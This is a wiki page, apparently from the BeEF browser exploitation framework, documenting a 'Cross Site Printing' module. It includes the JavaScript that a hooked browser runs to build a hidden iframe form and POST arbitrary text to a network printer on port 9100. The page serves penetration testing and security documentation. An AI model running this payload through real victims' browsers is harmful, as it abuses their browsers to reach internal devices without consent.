-
Notifications
You must be signed in to change notification settings - Fork 2.2k
Module: Cross Site Printing (XSP)
Haoxi Tan edited this page Jan 9, 2020
·
2 revisions
-
Objective: Send message to printers through the browser
-
Authors: bcoles
-
Browsers: Firefox
Default port is 9100.
Creates a form inside of an iframe to send the message to a printer. The message to the printer is usually just the plaintext of the content you want to print.
// create form
var action = "http://" + ip + ":" + port + "/";
myform=document.createElement("form");
myform.setAttribute("name","data");
myform.setAttribute("method","post");
myform.setAttribute("enctype","multipart/form-data");
myform.setAttribute("action",action);
iframe.contentWindow.document.body.appendChild(myform);
// create message textarea
myExt = document.createElement("textarea");
myExt.setAttribute("id","msg_<%= @command_id %>");
myExt.setAttribute("name","msg_<%= @command_id %>");
myExt.setAttribute("wrap","none");
myExt.setAttribute("rows","70");
myExt.setAttribute("cols","100");
myform.appendChild(myExt);
// send message
iframe.contentWindow.document.getElementById("msg_<%= @command_id %>").value = "<%= @msg.gsub(/"/, '\\"').gsub(/\r?\n/, '\\n') %>";
- Configuration
- Interface
- Information Gathering
- Social Engineering
- Network Discovery
- Metasploit
- Tunneling
- XSS Rays
- Persistence
- Creating a Module
- Geolocation
- Using-BeEF-With-NGROK